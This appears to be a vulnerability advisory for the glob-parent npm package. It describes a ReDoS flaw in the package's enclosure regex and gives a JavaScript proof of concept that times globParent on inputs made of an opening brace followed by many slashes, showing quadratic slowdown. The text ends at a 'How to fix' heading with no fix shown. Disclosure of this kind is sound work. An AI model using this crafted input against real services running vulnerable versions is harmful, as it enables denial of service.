Regular Expression Denial of Service (ReDoS)

glob-parent is a package that helps extracting the non-magic parent path from a glob string.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A ReDoS vulnerability exists in the enclosure regex.

PoC

const { performance } = require("perf_hooks")
const globParent = require("glob-parent")

const measure = fn => {
  let s = performance.now();
  fn();
  return performance.now() - s;
};

for (const n of [5_000, 10_000, 20_000, 40_000, 80_000, 160_000]) {
  const input = "{" + "/".repeat(n);
  const time = measure(() => globParent(input));

  // if the runtime is O(n^2), then this ration will be roughly constant
  const ration = time / (n * n);

  console.log(`${n}:\t${time}ms\t${ration.toExponential(3)}`);
}

How to fix Regular Expression Denial of Service (ReDoS)?
